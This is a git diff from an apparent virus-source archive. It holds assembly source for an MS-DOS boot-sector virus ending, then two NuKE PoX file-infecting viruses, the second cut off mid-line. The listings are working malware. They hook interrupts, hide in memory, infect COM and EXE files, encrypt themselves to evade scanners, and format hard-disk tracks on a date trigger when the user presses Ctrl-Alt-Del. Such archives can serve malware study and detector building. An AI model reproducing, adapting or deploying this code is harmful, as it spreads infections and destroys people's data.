; FLAG01 - FLAG FIELD. + + ; END OF FIRST SECTOR, START OF SECOND + + ; SEARCH FAT FOR UNUSED CLUSTER + +READ_FAT: + INC CURFAT ; ADDRESS TO NEXT FAT SECTOR + MOV BX,CURFAT ; GET NEXT SECTOR NUMBER + ADD PRCFAT,2 ; ADD TO PROCESSED FAT LENGTH + CALL READ_IT_IN ; READ FAT SECTOR + JMP SHORT GET_EM_NEXT + +FAT_SWITCH: + MOV AX,3 ; LENGTH OF TWO FAT ENTRIES + TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH + JZ FAT_ENTRY ; BRANCH IF OFF + INC AX ; FOUR BYTES NOT THREE +FAT_ENTRY: + MUL SI ; MULTIPLY BY FAT ENTRY NUMBER + SHR AX,1 ; DIVIDE BY TWO + SUB AH,PRCFAT ; SUBTRACT PROCESSED FAT LENGTH + MOV BX,AX ; COPY DISPLACEMENT + CMP BX,1FFH ; SEE IF IN THIS SECTOR + JNB READ_FAT ; BRANCH IF NOT + MOV DX,[BX+8000H] ; GET ENTRY + TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH + JNZ F_TEST_1 ; BRANCH IF ON + MOV CL,4 ; POSITIONS TO MOVE + TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY + JZ FAT_TOP ; BRANCH IF NOT + SHR DX,CL ; SHIFT EVEN ENTRY INTO POSITION +FAT_TOP: + AND DH,0FH ; SWITCH OFF TOP BITS +F_TEST_1: + TEST DX,0FFFFH ; TEST ALL BITS + JZ MAKE_BAD ; BRANCH IF NONE ON +GET_EM_NEXT: + INC SI ; NEXT FAT ENTRY + CMP SI,DI ; HAS LAST ENTRY BEEN PROCESSED + JBE FAT_SWITCH ; BRANCH IF NOT + RET + + ; SPARE CLUSTER FOUND - INSTALL ON DISK + +MAKE_BAD: + MOV DX,0FFF7H ; LOAD BAD SECTOR MARKER + TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH + JNZ FIND_SECTOR ; BRANCH IF ON + AND DH,0FH ; CONVERT MARKER TO FF7H + MOV CL,4 ; BITS TO MOVE + TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY + JZ FIND_SECTOR ; BRANCH IF NOT + SHL DX,CL ; MOVE INTO POSITION +FIND_SECTOR: + OR [BX+8000H],DX ; PUT MARKER INTO FAT + MOV BX,CURFAT ; GET SECTOR NUMBER + CALL WRITE_IT_OUT ; WRITE FAT SECTOR + MOV AX,SI ; GET ENTRY NUMBER + SUB AX,2 ; SUBTRACT FIRST CLUSTER NUMBER + MOV BL,NUMSEC ; GET SECTORS PER CLUSTER + XOR BH,BH ; CLEAR TOP OF REGISTER + MUL BX ; CONVERT TO SECTORS + ADD AX,CURCLS ; ADD SECTOR NUMBER OF 1ST CLUSTER + MOV SI,AX ; SAVE REAL SECTOR NUMBER + MOV BX,0 ; SECTOR ZERO + CALL READ_IT_IN ; READ BOOT SECTOR + MOV BX,SI ; GET OUTPUT SECTOR NUMBER + INC BX ; ADDRESS TO NEXT SECTOR + CALL WRITE_IT_OUT ; WRITE BOOT SECTOR TO STORE +PLACE_VIRUS: + MOV BX,SI ; GET OUTPUT SECTOR NUMBER + MOV REMAIN,SI ; SAVE SECTOR NO OF REST OF CODE + PUSH CS ; \ GET CURRENT SEGMENT + POP AX ; / + SUB AX,20H ; ADDRESS BACK TO VIRUS (2) + MOV ES,AX ; SET BUFFER ADDRESS + CALL WRITE_IT_OUT ; WRITE VIRUS (2) + PUSH CS ; \ GET CURRENT SEGMENT + POP AX ; / + SUB AX,40H ; ADDRESS BACK TO VIRUS (1) + MOV ES,AX ; SET BUFFER ADDRESS + MOV BX,0 ; SECTOR ZERO + CALL WRITE_IT_OUT ; WRITE VIRUS (1) + RET + + DW 20CH ; LASTTM - SYSTEM TIME LAST CALLED + DB 2 ; PRCFAT - PROCESSED FAT / 256 + + ; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE + +INTERRUPT_08: + TEST SWITCH,2 ; TEST INT 8 INSTALLED SWITCH + JNZ FINISH_TIME ; BRANCH IF ON + OR SWITCH,2 ; SET ON INT 8 INSTALLED SWITCH + MOV AX,0 ; \ SEGMENT ZERO + MOV DS,AX ; / + MOV AX,INT8OF ; SAVE INT 8 OFFSET + MOV BX,INT8SG ; SAVE INT 8 SEGMENT + MOV INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET + MOV INT8SG,CS ; NEW INT 8 SEGMENT + PUSH CS ; \ SET DS EQUAL TO CS + POP DS ; / + MOV ORG08O,AX ; STORE OLD INT 8 OFFSET + MOV ORG08S,BX ; STORE OLD INT 8 SEGMENT +FINISH_TIME: + RET + + ; INTERRUPT 10 + +DO_VIDEO: + PUSH DS + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH CS ; \ SET DS EQUAL TO CS + POP DS ; / + MOV AH,0FH ; GET VDU PARAMETERS + INT 10H ; VDU INTERRUPT + MOV BL,AL ; VDU MODE + CMP BX,MODEAP ; TEST MODE AND ACTIVE PAGE + JZ CHARACTER_ATTRIB ; BRANCH IF UNCHANGED + MOV MODEAP,BX ; SAVE MODE AND ACTIVE PAGE + DEC AH ; VISIBLE COLUMNS + MOV COLUMN,AH ; SAVE VISIBLE COLUMNS - 1 + MOV AH,1 ; GRAPHICS MODE SWITCH ON + CMP BL,7 ; TEST FOR TELETYPE MODE + JNZ IS_IT_GRAPHICS ; BRANCH IF NOT + DEC AH ; GRAPHICS MODE SWITCH OFF +IS_IT_GRAPHICS: + CMP BL,4 ; TEST FOR GRAPHICS MODE + JNB ROW_AND_COLUMN ; BRANCH IF GRAPHICS OR TELETYPE + DEC AH ; GRAPHICS MODE SWITCH OFF +ROW_AND_COLUMN: + MOV GRAPHM,AH ; STORE GRAPHICS MODE SWITCH + MOV ROWCOL,101H ; SET ROW AND COLUMN POSITIONS + MOV ROWCLM,101H ; SET ROW AND COLUMN MOVEMENT + MOV AH,3 ; GET CURSOR ADDRESS + INT 10H ; VDU INTERRUPT + PUSH DX ; SAVE CURSOR ADDRESS + MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS + JMP SHORT VIDEO_01 + +CHARACTER_ATTRIB: + MOV AH,3 ; GET CURSOR ADDRESS + INT 10H ; VDU INTERRUPT + PUSH DX + MOV AH,2 ; SET CURSOR ADDRESS + MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS + INT 10H ; VDU INTERRUPT + MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES + CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE + JNZ WRITE_CHAR ; BRANCH IF NOT + MOV AX,8307H ; CHARACTER AND WRITE MODE +WRITE_CHAR: + MOV BL,AH ; MOVE ATTRIBUTE OR WRITE MODE + MOV CX,1 ; ONLY ONCE + MOV AH,9 ; WRITE CHARACTER AND ATTRIBUTES + INT 10H ; VDU INTERRUPT +VIDEO_01: + MOV CX,ROWCLM ; GET ROW AND COLUMN MOVEMENT + CMP DH,0 ; IS ROW ZERO + JNZ VIDEO_02 ; BRANCH IF NOT + XOR CH,0FFH ; \ REVERSE ROW MOVEMENT + INC CH ; / +VIDEO_02: + CMP DH,18H ; IS ROW 24 + JNZ VIDEO_04 ; BRANCH IF NOT + XOR CH,0FFH ; \ REVERSE ROW MOVEMENT + INC CH ; / +VIDEO_04: + CMP DL,0 ; IS COLUMN 0 + JNZ VIDEO_05 ; BRANCH IF NOT + XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT + INC CL ; / +VIDEO_05: + CMP DL,COLUMN ; IS COLUMN LAST VISIBLE COLUMN + JNZ VIDEO_07 ; BRANCH IF NOT + XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT + INC CL ; / +VIDEO_07: + CMP CX,ROWCLM ; COMPARE ROW AND COLUMN MOVEMENT + JNZ VIDEO_09 ; BRANCH IF CHANGED + MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES + AND AL,7 ; SWITCH OFF TOP BIT OF CHARACTER + CMP AL,3 ; TEST BITS 1 AND 2 + JNZ VIDEO_08 ; BRANCH IF OFF + XOR CH,0FFH ; \ REVERSE ROW MOVEMENT + INC CH ; / +VIDEO_08: + CMP AL,5 ; TEST BITS 1 AND 3 + JNZ VIDEO_09 ; BRANCH IF OFF + XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT + INC CL ; / +VIDEO_09: + ADD DL,CL ; NEW COLUMN POSITION + ADD DH,CH ; NEW ROW POSITION + MOV ROWCLM,CX ; SAVE ROW AND COLUMN POSITIONS + MOV ROWCOL,DX ; SAVE ROW AND COLUMN POSITIONS + MOV AH,2 ; SET CURSOR ADDRESS + INT 10H ; VDU INTERRUPT + MOV AH,8 ; READ CHARACTER AND ATTRIBUTES + INT 10H ; VDU INTERRUPT + MOV CHARAT,AX ; SAVE CHARACTER AND ATTRIBUTES + MOV BL,AH ; MOVE ATTRIBUTES + CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE + JNZ VIDEO_10 ; BRANCH IF NOT + MOV BL,83H ; WRITE MODE FOR GRAPHICS +VIDEO_10: + MOV CX,1 ; ONCE ONLY + MOV AX,907H ; WRITE CHARACTER AND ATTRIBUTES + INT 10H ; VDU INTERRUPT + POP DX ; RESTORE CURSOR ADDRESS + MOV AH,2 ; SET CURSOR ADDRESS + INT 10H ; VDU INTERRUPT + POP DX + POP CX + POP BX + POP AX + POP DS + DB 0EAH ; FAR JUMP TO ORIGINAL INT 8 + DW 0907H ; ORG08O - ORIGINAL INT 8 OFFSET + DW 10BDH ; ORG08S - ORIGINAL INT 8 SEGMENT + + DW 0720H ; CHARAT - CHARACTER AND ATTRIBUTES + DW 1533H ; ROWCOL - ROW AND COLUMN POSITIONS + DW 01FFH ; ROWCLM - ROW AND COLUMN MOVEMENT + DB 0 ; GRAPHM - GRAPHICS MODE SWITCH + DW 3 ; MODEAP - MODE AND ACTIVE PAGE + DB 4FH ; DW7FD6 - VISIBLE COLUMNS - 1 + + + DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H + DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H + DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H + DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH + DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H + + ; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE + +CODE ENDS + + END START + + + + + + +-- +Eric "Mad Dog" Kilby maddog@ccs.neu.edu +The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu +Student at the Northeatstern University College of Computer Science +"I Can't Believe It's Not Butter" + diff --git a/MSDOS/Virus.MSDOS.Unknown.pox.asm b/MSDOS/Virus.MSDOS.Unknown.pox.asm new file mode 100644 index 00000000..643efd0a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pox.asm @@ -0,0 +1,344 @@ +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -* +;*- ~~~~~~ *- +;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -* +;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *- +;-* Encrypted Copies of the Virus) -* +;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +crypt_size equ crypt - init_virus ;All that gets Incrypted +virus_size equ last - init_virus ;Size of the Virus +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h +del_code equ 53h ;CTRL-ATL-DEL Key +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h +rocko proc far + +start: jmp init_virus ;+3 bytes +;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes + call doit_now ;Doit VirusMan... ;+3 Bytes + ;======== +doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes + sub bp,109h ;have to be added to the 100h! This + push ax ;SETs our `Delta Pointer'. + push bx + push cx + push dx ;Save registers + push si + push di + push bp + push es + push ds + + mov ax,0abcdh ;Are we resident Already? + int 21h + cmp bx,0abcdh ;Yupe... Quit Then... + je exit_com + + push cs ;Get CS=DS + pop ds + mov cx,es + + mov ax,3509h ;Hook Int 9 Please... + int 21h + mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h + mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h + + mov ax,3521h ;Some AVs may INTCEPT this Call! + int 21h ;May be better to go Manually... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 + mov dx,virus_size+virus_size ;Size to `Hide' + mov cl,4 ;And all this crap hides + shr dx,cl ;your number of bytes in DX + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4ah ;Call int to do it... + int 21h + + jc exit_com + mov ah,48h + dec dx + mov bx,dx ;It's Done... Yeah! + int 21h + + jc exit_com + dec ax + mov es,ax + mov cx,8h ;Here we move our Virus into + mov es:mut2,cx ;the `Hidden' memory! + sub ax,0fh + mov di,mut3 + mov es,ax + mov si,bp + add si,offset init_virus + mov cx,virus_size + cld + repne movsb + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h + + mov ax,2509h ;Restore Int9 with ours + mov dx,offset int9_handler ;The Handler... + int 21h + + push cs + pop ds +exit_com: + mov bx,offset buffer ; Its a COM file restore + add bx,bp ; First three Bytes... + mov ax,[bx] ; Mov the Byte to AX + mov word ptr ds:[100h],ax ; First two bytes Restored + add bx,2 ; Get the next Byte + mov al,[bx] ; Move the Byte to AL + mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt + pop ds + pop es + pop bp ; Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ; Jump Back to Beginning + push ax ; Restores our IP (a CALL + retn ; Saves them, now we change +int21 dd ? ;Our Old Int21 +int9 dd ? ;Our Old Int9 +;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int9_handler: + push ax + in al,60h ;Has the user attempted a + cmp al,del_code ;CTRL-ALT-DEL + je warm_reboot ;Yes! Screw him +bye_bye: pop ax + jmp dword ptr cs:[int9] ;Nope, Leave alone +warm_reboot: + mov ah,2ah ;Get Date Please + int 21h + cmp dl,18h ;Is it 24th of the Month? + jne bye_bye ;Yes, bye_Bye HD + mov ch,0 +hurt_me: mov ah,05h + mov dh,0 + mov dl,80h ;Formats a few tracks... + int 13h ;Hurts So good... + inc ch + cmp ch,20h + loopne hurt_me + db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot! + iret +;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +dir_handler: + pushf + push cs + call int21call ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + + mov es,bx + cmp bx,es:[16h] + jnz not_infected ;Not for us man... + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,1dh ;Is in 58 seconds? + jnz not_infected ;Nope... + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],virus_size ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: + cmp ax,4b00h ;File executed + je execute + cmp ah,11h ;Dir handler + je dir_handler + cmp ah,12h ;Next file Dir handler + je dir_handler + cmp ax,0abcdh ;Virus testing + jne int21call + mov bx,0abcdh +int21call: + jmp dword ptr cs:[int21] ;Split... + ret +execute: + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + + mov ax,4300h ;Get file Attribs + int 21h + jc exit + + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + int 21h + jc exit + +open_file: mov ax,3D02h + int 21h ;Open File to Infect please + + jc exit ;Error Split + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + int 21h + + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + dec cx ;58 seconds + xor al,cl ;Is it 58 seconds? + jz exit ;File already infected + + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + + mov ah,3Fh + mov cx,3h + mov dx,offset ds:[buffer] ;Read first 3 bytes + int 21h + + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer to end + xor cx,cx ;of file... + xor dx,dx + int 21h + + jc exit_now ;Error Split + cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE? + je exit ;Yupe! Split + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr cs:[jump_address+1],cx + call infect_me ;Infect! + jc exit_now ;error split + mov ah,40h ;Write back the first 3 + mov dx,offset ds:[jump_address] ;bytes + mov cx,3h + int 21h +exit_now: + mov cx,word ptr cs:[old_time] ;Restore old time + mov dx,word ptr cs:[old_date] ;Restore Old date + mov ax,5701h + int 21h + + mov ah,3Eh + int 21h ;Close File now... +exit: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] ;Jmp back to whatever +rocko endp +;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc near + mov ah,2ch ;Get Time + int 21h + push dx ;Split seconds to AX + pop ax + mov byte ptr cs:[value],al ;AL = 0 to 99 + ;New Encryption Value + mov cx,virus_size + push cs + pop es ;Copy ANOTHER copy of the + mov si,offset init_virus ;Virus to the end of us + mov di,offset last + repne movsb + + mov cx,crypt_size + sub cx,3h ;Encrypt that 2nd copy! + push bp + mov bp,offset last + 3h + call decrypt_encrypt + pop bp + + mov ah,40h ;Write the New Encrypted + mov dx,offset last ;Virus to File! + mov cx,virus_size + int 21h + + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to beginning + xor dx,dx ;file! + int 21h + + jc exit_error ;Split Dude... + clc ;Clear carry flag + retn +exit_error: + stc ;Set carry flag + retn +infect_me endp +old_time dw ? +old_date dw ? +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h +crypt: +msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'... +;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*- +decrypt proc near + pop bp + push bp + mov al,byte ptr [value-106h][bp] ;Get new Encryption + mov cx,crypt_size ;Value +decrypt_encrypt: + xor cs:[bp],al ;Fuck Scanners and put a + inc bp ;`NOT AL' anywhere here... + loop decrypt_encrypt + retn +value db 00h ;Encryption value! +decrypt endp +last: +seg_a ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.pox2.asm b/MSDOS/Virus.MSDOS.Unknown.pox2.asm new file mode 100644 index 00000000..9d1a1717 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pox2.asm @@ -0,0 +1,497 @@ +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -* +;*- ~~~~~~ *- +;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -* +;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects *- +;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -* +;*- Bytes: 963 Bytes Memory: 963 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +virus_size equ last - init_virus +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h +del_code equ 53h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h +rocko proc far + +start: jmp init_virus +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Virus Begins Here... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +init_virus: + call doit_now ;Doit VirusMan... + +doit_now: pop bp ;Not to Lose Track + sub bp,106h ;Set our position + push ax ;Save all the registers + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + + mov ax,7bcdh ;Are we resident Already? + int 21h + cmp bx,7bcdh ;Yupe... Quit Then... + je exit_com + + xor bx,bx + push cs ;Get CS=DS + pop ds + mov cx,es + + mov ax,3509h ;Hook Int 9 Please... + int 21h + mov word ptr cs:[int9+2][bp],es + mov word ptr cs:[int9][bp],bx + + mov ax,3521h ;Sometimes tend to intercept + int 21h ;This Interrupt... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 + mov dx,virus_size ;Size to `Hide' + mov cl,4 ;And all this crap hides + shr dx,cl ;your number od bytes in DX + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4ah ;Call int to do it... + int 21h + + jc exit_com + mov ah,48h + dec dx + mov bx,dx ;It's Done... Yeah! + int 21h + + jc exit_com + dec ax + mov es,ax + mov cx,8h ;Here we move our Virus into + mov es:mut2,cx ;the `Hidden' memory! + sub ax,0fh + mov di,mut3 + mov es,ax + mov si,bp + add si,offset init_virus + mov cx,virus_size + cld + repne movsb + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h + + mov ax,2509h ;Restore Int9 with ours + mov dx,offset int9_handler ;The Handler... + int 21h + + push cs + pop ds +exit_com: + cmp word ptr cs:[buffer][bp],5A4Dh + je exit_exe_file ;Its an EXE file... + mov bx,offset buffer ;Its a COM file restore + add bx,bp ;First three Bytes... + mov ax,[bx] ;Mov the Byte to AX + mov word ptr ds:[100h],ax ;First two bytes Restored + add bx,2 ;Get the next Byte + mov al,[bx] ;Move the Byte to AL + mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes + pop ds + pop es + pop bp ;Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ;Jump Back to Beginning + push ax ;Restores our IP (a CALL + retn ;Saves them, now we changed +int21 dd ? ;Our Old Int21 +int9 dd ? ;Our Old Int9 + +exit_exe_file: + mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester + mov dx,cs + sub dx,bx + mov ax,dx + add ax,word ptr cs:[exe_cs][bp] ;Get original CS + add dx,word ptr cs:[exe_ss][bp] ;Get original SS + mov bx,word ptr cs:[exe_ip][bp] ;Get original IP + mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP + mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS + mov ax,word ptr cs:[exe_sp][bp] ;Get original SP + mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS + mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + db 0B8h ;This is now a MOV AX,XXXX +Rock_Fix1: ;XXXX is the original SS + dw 0 ;Our XXXX Value + cli ;Disable Interrupts + mov ss,ax ;Mov it to SS + db 0BCh ;This is now a MOV SP,XXXX +Rock_Fix2: + dw 0 ;The XXXX Value for SP + sti ;Enable interrupts + db 0EAh ;JMP XXXX:YYYY +fuck_yeah: + dd 0 ;Dword IP:CS (Reverse order! +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 9 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int9_handler: ;Every TIME a KEY is pressed + push ax ;This ROUTINE is called! + in al,60h ;Has the user attempted a + cmp al,del_code ;CTRL-ALT-DEL + je warm_reboot ;Yes! Screw him +bye_bye: pop ax + jmp dword ptr cs:[int9] ;Nope, Leave system alone +warm_reboot: + mov ah,2ah ;Get Date Please + int 21h + cmp dl,18h ;Is it 24th of the Month? + jne bye_bye ;Yes, bye_Bye HD + mov ch,0 +hurt_me: mov ah,05h + mov dh,0 + mov dl,80h ;Formats a few tracks... + int 13h ;Hurts So good... + inc ch + cmp ch,20h + loopne hurt_me + db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot! + iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Dir Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +dir_handler: + pushf + push cs + call int21call ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + + mov es,bx + cmp bx,es:[16h] + jnz not_infected ;Not for us man... + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,1dh ;Is in 58 seconds? + jnz not_infected ;Nope... + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],virus_size ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected: pop es + pop bx + pop ax +no_good: iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 21 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: + cmp ax,4b00h ;File executed + je execute + cmp ah,11h ;Dir handler + je dir_handler + cmp ah,12h ;Next file Dir handler + je dir_handler + cmp ax,7bcdh ;Virus testing + jne int21call + jmp execute +int21call: + jmp dword ptr cs:[int21] ;Split... +execute: + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + + cmp ax,7bcdh ;Was Virus testing if it was + jne continue ;Alive? If No Continue + push cs + pop ds ;If Yes, Check if COMMAND.CO + mov dx,offset command ;Is infected! And return + jmp continue2 +continue: + call check_name ;Make sure file executed + jc exit_now ;Ain't a Anti-Viral program +continue2: ;With the CRC-32 checkers + mov ax,4300h ;Get file Attribs + int 21h + jc exit + + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + int 21h + jc exit + +open_file: mov ax,3D02h + int 21h ;Open File to Infect please + + jc exit ;Error Split + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + int 21h + + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + dec cx ;58 seconds + xor al,cl ;Is it 58 seconds? + jz exit ;File already infected + + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + + mov ah,3Fh + mov cx,20h + mov dx,offset ds:[buffer] ;Read first 20h bytes + int 21h + + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer to end of + xor cx,cx ;file... + xor dx,dx + int 21h + + jc exit_now ;Error Split + cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE? + je exe_file ;JMP to EXE Infector + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr cs:[jump_address+1],cx + call infect_me ;Infect! + jc exit_now ;error split + mov ah,40h ;Write back the firs + mov dx,offset ds:[jump_address] ;bytes + mov cx,3h + int 21h +exit_now: + mov cx,word ptr cs:[old_time] ;Restore old time + mov dx,word ptr cs:[old_date] ;Restore Old date + mov ax,5701h + int 21h +exit_now2: + mov ah,3Eh + int 21h ;Close File now... +exit: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + cmp ax,7bcdh ;Virus checking if alive + jne leave_now ;No, Exit normally + mov bx,ax ;Yes, Fix BX with codez +leave_now: + jmp dword ptr cs:[int21] ;Jmp back to whatever +exe_file: + mov cx,word ptr cs:[buffer+20] ;IP Regester + mov word ptr cs:[exe_ip],cx ;Save IP Regester + mov cx,word ptr cs:[buffer+22] ;CS Regester + mov word ptr cs:[exe_cs],cx ;Save CS Regester + mov cx,word ptr cs:[buffer+16] ;SP Regester + mov word ptr cs:[exe_sp],cx ;Save SP Regester + mov cx,word ptr cs:[buffer+14] ;SS Regester + mov word ptr cs:[exe_ss],cx ;Save SS Regester + push ax + push dx + call multiply ;Figure a new CS:IP + sub 